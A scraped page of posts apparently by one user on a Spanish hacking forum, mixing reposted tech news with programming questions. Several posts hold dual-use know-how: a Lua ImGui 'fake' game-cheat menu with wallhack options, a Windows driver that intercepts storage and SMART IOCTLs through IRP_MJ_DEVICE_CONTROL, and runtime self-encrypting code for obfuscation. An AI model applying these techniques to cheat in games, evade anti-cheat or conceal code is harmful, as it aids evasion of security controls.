            <a href="#">Cuarto</a>
        </div>
    </div>
    <div class="contenido">
    </div>
</body>
</html>


Código (css) [Seleccionar]
body
{
    margin: 0px;
}

.menu
{
    background-color: black;
    width: 25%;
    height: 100%;
    position: fixed;
    color: white;
}

.menu .portada h1
{
    text-align: center;
}

.menu .portada img
{
    display: block;
    /*border-radius: 100%;*/
    margin-left: auto;
    margin-right: auto;
    width: 50%;
}

.menu .contenedor-enlaces a
{
    width: 100%;
    display: block;
    text-decoration: none;
    color: white;
    text-align: center;
    padding-top: 6px;
    padding-bottom: 6px;
}

.menu .contenedor-enlaces a:hover
{
    border-left-width: 12px;
    border-left-color: red;
    border-left-style: solid;
    background: #333;
}

.contenido
{
    margin-left: 25%;
}



B#
#11

El misterioso ataque "Miau" que destruye decenas de datos de elasticsearch y mongodb no asegurados.



Docenas de instancias no seguras de Elasticsearch y MongoDB expuestas en Internet han sido víctimas de una campaña rastreada como ataque Meow, en la que los actores maliciosos limpian las bases de datos sin ninguna explicación o una nota de ransomware.

Los ataques fueron vistos por primera vez por el investigador de seguridad Bob Diachenko. Se ha observado uno de los recientes ataques de Meow dirigidos a la base de datos Elasticsearch que pertenece al proveedor de VPN con sede en Hong Kong UFO VPN, que fue noticia recientemente cuando los investigadores de vpnMentor informaron que siete servicios de red privada virtual (UFO VPN, FAST VPN, FREE VPN, SUPER VPN, Flash VPN, Secure VPN y Rabbit VPN) filtraron 1,2 terabytes de datos privados del usuario.

Según Diachenko, UFO VPN aseguró su base de datos a principios de julio, pero el 20 de julio la base de datos volvió a aparecer en una dirección IP diferente y contenía registros tan recientes como el 19 de julio. El mismo día, la base de datos expuesta fue borrada en un ataque Meow , con solo registros recientes restantes.

Desde entonces, Meow y un ataque similar han destruido más de 1,000 otras bases de datos. Una búsqueda reciente de Shodan ha demostrado que 987 ElasticSearch y 70 instancias de MongoDB se han visto afectadas por el ataque Meow.

Diachenko dijo que no se sabe mucho sobre los atacantes o el razonamiento detrás de sus acciones. El investigador dijo que el ataque parece ser un script automatizado que "sobrescribe o destruye los datos por completo".

Ver artículo en: https://www.seguridadyfirewall.cl/2020/07/el-misterioso-ataque-miau-que-destruye.html






En mi opnión es increible que más de 6000 servidores estén afectados y no sean capaces de contratar a alguién que asegure los servidores:

https://pbs.twimg.com/media/EdnFqi6U4AYBRjJ?format=png


B#
#12
Buenas gente del foro, ¿Cómo están?

Mi duda es como operar a nivel de bits con el operador OR en Lua dado en que en C++ se puede operar de la siguiente manera:

Código (cpp) [Seleccionar]
flags = ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoCollapse

en lugar de eso en este caso puedo sumar los flags dado a que son desplazamientos de bits a la izquierda:

Código (cpp) [Seleccionar]
enum ImGuiWindowFlags
{
   // ...
   ImGuiWindowFlags_NoCollapse = 1 << 5
   ImGuiWindowFlags_AlwaysAutoResize = 1 << 6
   // ...
}


pero para código que luego voy a necesitar tendría que operar con el operando OR si o si...

Dejo el código completo mío de ejemplo y el error que marca por el símbolo |


Código (lua) [Seleccionar]
MessageBox("Hola Mundo")

aCheckbox=true
aComboBox=0

function OnRenderBackground()
ImGui:Text("Hello background!")
end

function OnRenderInterface()
if ImGui:Begin("Fake menu", ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoCollapse) then
if ImGui:BeginTabBar("CH5_FAKE_MENU") then
if ImGui:BeginTabItem("Fake legit") then
ImGui:Text("Fake text legit")
ImGui:EndTabItem()
end
if ImGui:BeginTabItem("Fake Rage") then
ImGui:Text("Fake text rage")
ImGui:EndTabItem()
end
if ImGui:BeginTabItem("Visuals") then
aComboBox=ImGui:Combo("Wallhack fake",aComboBox,"None\0XQZ\0ASUS\0Wireframe\0\0")
ImGui:EndTabItem()
end
ImGui:EndTabBar()
end
end
ImGui:End()

if ImGui:Begin("Example", ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoCollapse) then
v = Vector2D(5,20)
v2 = Vector2D(10,30)
ImGui:Text("Hello world! "..(v.x).." "..(v.y))
v = v + v2
ImGui:Text("Hello world! "..(v.x).." "..(v.y))
ImGui:SameLine()
ImGui:Text("Misma y nueva línea")
ImGui:NewLine()
if ImGui:TreeNode("Colapso",true) then
ImGui:Text("Texto colapsado")
ImGui:TreePop()
end
ImGui:NewLine()
ImGui:NewLine()
ImGui:BeginGroup()
if ImGui:SmallButton("Cambiar Valor") then
aCheckbox=not aCheckbox
end
aCheckbox=ImGui:Checkbox("Checkbox",aCheckbox)
ImGui:EndGroup()
ImGui:SameLine()
ImGui:BeginGroup()
ImGui:Text("Checkbox value: "..(aCheckbox and 'true' or 'false'))
ImGui:Text("Combo value: "..(aComboBox))
ImGui:EndGroup()
ImGui:NewLine()
aComboBox=ImGui:Combo("Wallhack test",aComboBox,"None\0XQZ\0ASUS\0Wireframe\0\0")
end
ImGui:End()
end

Hooks:RegisterCallback(CH5_CALLBACK_AT_RENDERING_BACKGROUND,OnRenderBackground)
Hooks:RegisterCallback(CH5_CALLBACK_AT_RENDERING_INTERFACE,OnRenderInterface)



B#
#13
Buenas gente del foro ¿cómo están?.

Resulta que después de varios años de no programar drivers he decidido volver a programar drivers para Windows, mi pequeño problema es que estoy portando un driver antiguo que lo programé para 32 bits y este hookeaba la función ZwDeviceIoControlFile a través de la SSDT.

Dado a que ahora estoy programando drivers para 64 bits y no quiero romper el KPP, he encontrado una manera alternativa (interceptando la función IRP_MJ_DEVICE_CONTROL del driver objetivo) potencial de interceptar la ioctl que necesito.

El problema es que antes al tener el hook de ZwDeviceIoControlFile este pasa todos los ioctls del sistema y filtraba hacia el dispositivo automáticamente 2 IOCTLs específicos (IOCTL_STORAGE_QUERY_PROPERTY y SMART_RCV_DRIVE_DATA), pero nunca llegué a saber hacia que dispositivo se enviaban.

Mi consulta es: ¿Existe algún software en Windows que permita capturar, filtrar y mostrar todas las ioctls filtrando también hacia que dispositivo al cuál se está enviando?


B#
#14
Estoy actualizando mi avatar con After Effects y tengo una duda:

¿Cuál es la mayor resolución posible sin que se muestren las barras de desplazamiento en los publicaciones del foro?

Como puede verse aquí calculé una resolución de 190x300 píxeles pero aún así, se muestran las barra de desplazamiento horizontal... Quiero si alguien del foro pueda decirme la resolución más alta sin barras de desplazamiento:



B#
#15
Se filtra el código fuente del Counter Strike: Global Offensive y el Team Fortress 2

Problemas en el paraíso, y es que Valve ha visto cómo se ha filtrado el código fuente de su gallina de los huevos de oro, y esta no es otra que el Counter Strike: Global Offensive, que cayó junto al Team Fortress 2.

La filtración incluye todas las licencias del Source Engine, su motor gráfico multiplataforma usado en todos los juegos de Valve como DOTA 2, Half-Life y claro, el CS: GO. También se ha conseguido acceso al código fuente de las versiones de 2017/2018 del CS: GO y Team Fortress 2.



Este es un serio problema para Valve, y es que el Counter Strike: Global Offensive es el juego más popular de Steam desde hace años y uno de los más populares del mundo, a lo que se le suma que es una IP muy valiosa. Si bien es una versión desactualizada, solo basta una persona que sepa lo que tiene delante y cómo aprovecharlo. Ahora tocará esperar ver la respuesta de Valve y qué se puede hacer ante algo así.

Obviamente, esto puede tomarse como una "venganza" personal contra Valve, ya que su juego se ha vuelto muy casual en los últimos años con medidas como su conversión free-to-play, un abusivo sistema de microtransacciones, y claro, un sistema antitrampas que siempre va por detrás de los hackers y que da lugar a una gran cantidad de 'chetos', los cuales ahora se podrán multiplicar tras la filtración del código fuente.


Leer más en: https://elchapuzasinformatico.com/2020/04/se-filtra-el-codigo-fuente-del-counter-strike-global-offensive-y-el-team-fortress-2/


B#
#16
Buenas gente del foro, quisiera saber si alguien conoce alguna guía o tutorial completo de como utilizar GDB, de preferencia en castellano y en video...

Por el momento he encontrado esta mini guía pero quería consultar por si miembros del foro conocen otras y mejores...


B#
#17
Buenas, hace un par de días estuve escaneando un servidor de origen ruso que me encontré hace rato y me surgió la duda, ¿Cómo podría implementar una cosa así en un servidor propio? ¿Alguién del foro conoce alguna manera de implementar esto?

El servidor en cuestión 195.88.209.154 cuando es escaneado devuelve una cantidad exagerada de puertos abiertos falsos, mientras que si analizo por banner devuelve que utiliza Debian:



B#
#18
EDIT B# Tema duplicado por favor eliminar este, otro usuario ya lo publicó... Perdón

Ir a la otra publicación: https://foro.elhacker.net/foro_libre/noticia_raspberry_pi_4_es_oficial_una_completa_actualizacion_con_procesador_co-t497144.0.html

Raspberry Pi 4 es oficial: una completa actualización con procesador Cortex-A72, hasta 4 GB de RAM y desde 35 dólares

Raspberry Pi es uno de los ordenadores más básicos que podemos encontrar, también uno de los más vendidos de toda la historia informática. Su atractivo precio ha hecho que se vendan millones y millones de unidades generación tras generación. Hoy se ha anunciado, por sorpresa, Raspberry Pi 4. Esta nueva versión con una CPU ARM Cortex-A72 permite, entre otras cosas, la decodificación de vídeo 4K a 60 fps (sin compatibilidad con HDR). Su precio de salida se mantiene fiel al estilo de la marca: 35 dólares para la versión mas básica de todas.



Se esperaba que llegase este nuevo modelo para 2020, sin embargo, la compañía ha conseguido sacar adelante la producción del dispositivo con unos 9-12 meses de antelación, según han explicado. De momento ponen a la venta la Raspberry Pi 4 Model B, el modelo A que tradicionalmente se centra en ofrecer un producto más básico y aún mas barato en esta ocasión aún no lo van a lanzar. Comentan que no han visto cambios significativos por los que ofrecer un dispositivo diferente a menos de 35 dólares, que es lo que cuesta la versión básica de Raspberry Pi 4 Model B.

Seguir leyendo en Xataka



B#
#19
Histórico apagón en Argentina: el país entero sin luz

El corte del suministro se produjo a las 7.07 horas. La Secretaría de Energía explicó que la interrupción del suministro "se debió a una falla del sistema de transporte desde Yacyretá" y que "eso produjo el corte de manera automática, sin intervención humana". Uruguay también está afectado.

Un masivo apagón afecta desde este domingo a la mañana a la Ciudad de Buenos Aires, el Conurbano bonaerense, varias provincias y Uruguay.

El corte del suministro se produjo a las 7.07 horas y los vecinos empezaron desde temprano a relatar lo sucedido desde sus redes sociales.

Ante esta situación, la Secretaría de Energía explicó que "un colapso del Sistema Argentino de Interconexión (SADI) produjo un corte masivo de energía eléctrica en todo el país y que afectó también al Uruguay".

Si bien las causas aún no están determinadas con precisión "ya se comenzó con la recuperación en las regiones de Cuyo, NOA y Comahue y se está abriendo el resto del sistema para continuar con la recuperación total, que se estima puede llevar algunas horas", dijo el organismo oficial.

El proceso de energización se inició dos horas después desde los puntos más fuertes del sistema: las centrales hidroeléctricas Yacyretá, Chocón y Salto Grande. Transener, por su parte,  abrió el sistema y se está energizando nuevamente para poder regularizar el servicio.

A pesar de las especulaciones sobre un supuesto sabojate, aclaró que "el corte se produjo de manera automática (sin intervención humana) debido a una falla del sistema de transporte desde Yacyretá".

A las 10:45 hs ya se habían normalizaron unos aprox. 2000 MW de demanda, sobre una demanda prevista total de 15000 MW. Se llegó a alimentar estaciones de la provincia de Buenos Aires, Entre Ríos y Santa Fe.

Consultada por Infobae, la vocera de Edesur, Alejandra Martínez precisó que "nunca pasó algo así" y confirmó que "el apagón es a nivel país y afecta también a Uruguay".

Edenor, por su parte, comunicó en su Twitter que "debido a una falla general en el sistema de interconexión, la Argentina y países limítrofes se encuentran sin electricidad".

En tanto, el Subsecretario de Operaciones de Protección Civil, Daniel Russo, señaló a TN que "llevará unas 6 horas como máximo restablecer el servicio en todo el país" por lo que alrededor de las 15 horas volvería la luz.

Admitió que "por suerte ocurrió en horas muy tempranas" por lo cual no hubo demasiadas complicaciones. También negó que se hayan presentado problemas en hospitales públicos y remarcó "que las terapias intensivas funcionan con generadores de energía".

Edesur resaltó que el ingreso de generación eléctrica al sistema interconectado de Capital Federal y Gran Buenos Aires comenzó cerca de las 9.30 horas. "Nuestro Centro de Control inició las demandas de normalización y lentamente comienza a restaurarse el servicio de energía eléctrica a la red. Ingresamos los primeros 34.000 clientes", indicó.

Santa Fe, San Luis, Formosa, La Rioja, Chubut, Córdoba y Mendoza son algunas de las provincias afectadas. Por el momento, Tierra del Fuego fue la única en la que se mantuvo el servicio eléctrico habitual.

En Twitter, la cuenta oficial de la Empresa Provincial de Energía de Córdoba informó que "por una falla ajena a Epec, en 500 kV del sistema interconectado nacional operado por Transener, se produjo una restricción con cero tensión que afectó a gran parte del país incluida la Provincia de Córdoba, como así también a zonas de Santa Fe, Capital Federal y provincia de Buenos Aires. En este momento, se trabaja para determinar cuál fue el motivo de dicha falla y poder restituir el suministro en el menor tiempo posible"

Las primeras hipótesis indican que el apagón se produjo debido a un desbalance entre la energía aportada y la demanda. Normalmente, esto puede ocurrir ante la presencia de una falla en un nodo troncal del sistema, según detallaron desde el área de prensa de Edersa, la empresa de energía de Río Negro, a los medios de esa provincia.

En tanto, la Administración Nacional de Usinas y Trasmisiones Eléctricas de Uruguay (UTE) señaló a través de Twitter que "un desperfecto en la red argentina" dejó sin luz a "todo el territorio nacional"

Lo que también llama la atención es que la página web del Ente Nacional de Regulación de Energía (ENRE), que reporta en tiempo real sobre los cortes de luz está caída.

En un domingo de elecciones también preocupa qué pasará con las votaciones en San Luis, Tierra del Fuego, Formosa y Santa Fe. En San Luis, por ejemplo,  las escuelas abrieron sus puertas una hora y media más tarde; cerca de las 9.30 horas. Mientras que en Formosa, se viralizaron fotos de varios fiscales que decidieron asistir a los votantes con las luces de sus teléfonos para que puedan sufragar.

En lo que respecta a medios de transportes, el servicio de trenes, subtes y premetro se encuentra paralizado.  Las líneas  Roca, Urquiza, Sarmiento, Mitre están interrumpidas. En Aeroparque y Ezeiza, en cambio, el servicio de vuelos funciona con normalidad debido a que tienen generadores eléctricos.

Tanto en la Ciudad de Buenos Aires como en la provincia, la atención también está puesta en el agua. Ante falta de electricidad, los tanques no se llenan y se teme que en el transcurso de algunas horas, millones de hogares sufran un percance sanitario.

En lo que respecta al sistema de distribución de agua potable, Aysa pidió a sus usuarios "hacer uso racional del agua" para no sufrir desabastecimiento.

Si bien en la última década los usuarios se acostumbraron a los cortes de suministro en distintas ciudades, sobre todo en los meses de verano, siempre ocurrieron por zonas y en algunos casos hubo incluso "cortes programados". Pero hasta el día de hoy nunca se había registrado un colapso en simultáneo a lo largo y ancho de todo el país.

El último gran apagón con mayor cantidad de afectados se produjo en 2002, cuando cerca de 13 millones de usuarios estuvieron sin luz durante horas.

Fuente: Infobae
#20
Buenas gente del foro, tengo una consulta con SDL2 que ojalá algún gurú de esta librería sepa resolver... :-[

Estaba creando una ventana con renderizado en OpenGL y mi problema es que al mover la ventana manteniendo click produce un temblor en el movimiento demasiado extraño. Con WinAPI no tengo problema en mi código pero al portar esto a SDL2 (porque deseo crear la aplicación multiplataforma) produce esa sacudida extraña...



   // Main loop
   bool bOpen = true;
   while (bOpen)
   {
       SDL_Event event;
       static bool bMouseClicked=false;
       static int xMPos=0,yMPos=0;
       while (SDL_PollEvent(&event))
       {
           if(event.type == SDL_MOUSEBUTTONDOWN)
           {
               if(event.button.button == SDL_BUTTON_LEFT)
               {
                   bMouseClicked=true;
                   SDL_CaptureMouse(SDL_TRUE);
                   SDL_GetMouseState(&xMPos,&yMPos);
               }
           }
           if(event.type == SDL_MOUSEBUTTONUP)
           {
               if(event.button.button == SDL_BUTTON_LEFT)
               {
                   bMouseClicked=false;
                   SDL_CaptureMouse(SDL_FALSE);
               }
           }
           if(event.type == SDL_MOUSEMOTION)
           {
               int xPos,yPos,xMPosN,yMPosN;
               if(bMouseClicked)
               {
                   SDL_GetWindowPosition(window,&xPos,&yPos);
                   SDL_GetMouseState(&xMPosN,&yMPosN);
                   xPos+=xMPosN-xMPos;
                   yPos+=yMPosN-yMPos;
                   SDL_SetWindowPosition(window,xPos,yPos);
                   //SDL_FlushEvent(SDL_WINDOWEVENT_MOVED);
                   //SDL_FlushEvents(SDL_WINDOWEVENT,SDL_SYSWMEVENT);
               }
           }
           if (event.type == SDL_QUIT)
               bOpen = false;
       }



B#
#21
Buenos noches gente querida del foro, el tema es el siguiente:

Estuve aplicando ingeniería inversa a un programa con el fín de encontrar la ubicación de ciertas funciones virtuales de un objeto de una clase que hereda de por los menos como 4 clases que cada una hereda de una clase anterior, así llegando a la clase principal. Cada clase incluso contiene sus propias funciones virtuales y algunas "sobre-escritas", el tema es que no encuentro la manera de obtener un offset o distancia de dicha función virtual en la tabla de direcciones.

Hice un programa ejemplo que ilustra mi consulta:
Código (cpp) [Seleccionar]
#include <cstdio>

class CAbuelo
{
public:
virtual void Funcion1() {}
virtual void Funcion2() {}
virtual void Funcion3() {}
// ....
virtual void Funcion20() {}
virtual void Funcion21() {}
};

class CPadre : CAbuelo
{
public:
virtual void Funcion22() {}
virtual void Funcion23() {}
// ....
virtual void Funcion45() {}
virtual void Funcion46() {}
virtual void Funcion47() {}
};

class CNieto : CPadre
{
public:
virtual void Funcion48() {}
virtual void Funcion49() {}
virtual void Funcion50() {}
// ....
virtual void Funcion101() {}
virtual void Funcion102() {}
virtual void Funcion103() {}
};

CNieto objNieto;
CNieto *pNieto = &objNieto;

int main()
{
printf("direccion nieto en direccion 0x%X, funcion48 en direccion 0x%X y indice o distancia en %i",
pNieto, &((int)pNieto->Funcion48), indice_de_funcion_virtual_o_distancia(pNieto,Funcion48));
}


Mi consulta sería entonces como poder obtener una salida como la siguiente:
Citardireccion nieto en direccion 0xDEADBAFF, funcion48 en direccion 0xBAFFDEAD y indice o distancia en 48

Estuve buscando en google y lo más cercano fue esto, el problema es que crea una especie de "objeto" el cuál no se como obtiene la dirección base y cada resultado de salida es la dirección siguiente...

EDIT: Vale aclarar que el programa "objeto de estudio" fue compilado con alguna versión antigua de VC como la VC5 o VC6...


B#
#22
Bueno quería probar de ver algunos temas del foro y al parecer este me dice que estoy atacando al foro cuando realizo la previsualización. ¿Algún moderador, co-admin o el brujo podrían arreglar eso?







B#
#23
Buenas, últimamente estoy haciendo un proyecto para ofuscar código de algunas rutinas que programo, por ejemplo:

int sumar(int a,int b)
{
int iRetVal;
BeginEncryption();
iRetVal=a+b;
EndEncryption();
return iRetVal;
}


Donde el código entre BeginEncryption y EndEncryption está cifrado (por un programa externo que he creado que utilizo para cifrar y que encuentra esas 2 funciones) y en tiempo de ejecución se descifra para ejecutarse y vuelve a cifrarse cuando se termina de ejecutar. El problema surge cuando intento llamar a direcciones de memoria y/o funciones importadas dentro del código cifrado, por ejemplo:

char *szHola="Hola";
void imprimiralgo()
{
BeginEncryption();
printf("%s",szHola);
EndEncryption();
}


Mi duda entonces sería como resuelve el PE Loader las direcciones de memoria (ejemplo : push dirección / call[dirección] / mov registro,dirección)en las secciones ejecutables, dado a que estuve buscando información y todavía no logré encontrar. Lo prioritario sería saber como el Loader de Windows arregla en esas secciones ejecutables las direcciones de memoria, así para yo cuando llame a las rutinas de cifrado las pueda arreglar manualmente, las funciones importadas por el momento no son prioritarias debido a que puedo llamarlas de otra manera dentro del código cifrado aunque lo ideal sería también saber como las carga para arreglar ese código también.

Si alguien que sepa y pueda brindarme información respecto a esto se lo agradecería mucho...


B#
#24
Java / Ayuda Cifrado ARC4/RC4 en Java
26 Febrero 2014, 05:03 AM
Buenas, quería saber si alguién me podría dar una mano. Estaba armando un código para cifrar un archivo cualquiera mediante RC4, el problema es que me genera una excepción (ArrayIndexOutOfBoundException) cuando intento ejecutarlo lo cual es raro ya que pude ejecutar el mismo código ligeramente modificado en C++(WINAPI) y C#... Si alguien me dá una mano se lo agradecería.

Código (java) [Seleccionar]
   private byte[] RC4(byte[] szBuf,byte[] szKey,int dwBufLen,int dwKeyLen){
       int i,j=0;
       int []s=new int[256];
int dw;
byte tmp;
byte[] Buf=szBuf;
byte[] Key=szKey;
for(i=0;i<256;i++){
           s[i]=i;
}
for(i=0;i<256;i++){
           j=(j+s[i]+Key[i%dwKeyLen])%256;
           tmp=(byte)s[i];
           s[i]=s[j];
           s[j]=(int)tmp;
}
for(dw=0;dw<dwBufLen;dw++){
           i=(i+1)%256;
           j=(j+s[i])%256;
           tmp=(byte)s[i];
           s[i]=s[j];
           s[j]=(int)tmp;
           Buf[dw]^=(byte)s[(s[i]+s[j])%256];
       }
return Buf;
   }
   private void btnCifrarActionPerformed(java.awt.event.ActionEvent evt) {                                          
       if(txtArchivo.getText().length()==0)
           JOptionPane.showMessageDialog(this,"No hay Archivo, seleccione uno...","RC4 para Archivos - BloodSharp",JOptionPane.ERROR_MESSAGE);
       else if(txtPassword.getText().length()==0)
           JOptionPane.showMessageDialog(this,"Escriba una contraseña...","RC4 para Archivos - BloodSharp",JOptionPane.ERROR_MESSAGE);
       else{
           try{
               File file=new File(txtArchivo.getText());
               int longitud=(int)file.length();
               byte[] Bytes=new byte[longitud];
               FileInputStream fileInput=new FileInputStream(file);
               BufferedInputStream bufferedInput = new BufferedInputStream(fileInput);
               
               bufferedInput.read(Bytes,0,longitud);
               Bytes=RC4(Bytes,txtPassword.getText().getBytes(),longitud,txtPassword.getText().length());
               fileInput.close();
               bufferedInput.close();
               
               FileOutputStream fileOutput=new FileOutputStream(file);
               BufferedOutputStream bufferedOutput = new BufferedOutputStream(fileOutput);
               bufferedOutput.write(Bytes,0,longitud);
               fileOutput.close();
               bufferedOutput.close();
               
               JOptionPane.showMessageDialog(this,"El archivo "+txtArchivo.getText()+" fue Cifrado/Descifrado","RC4 para Archivos - BloodSharp",JOptionPane.INFORMATION_MESSAGE);
           }
           catch(Exception e){
               JOptionPane.showMessageDialog(this,e.getClass().toString()+" "+e.getMessage(),"RC4 para Archivos - BloodSharp",JOptionPane.ERROR_MESSAGE);
           }
       }
   }


PS: El código de RC4 lo saque del foro: http://foro.elhacker.net/programacion_cc/encriptacion_rc4arc4-t210711.0.html;msg1000447#msg1000447

B#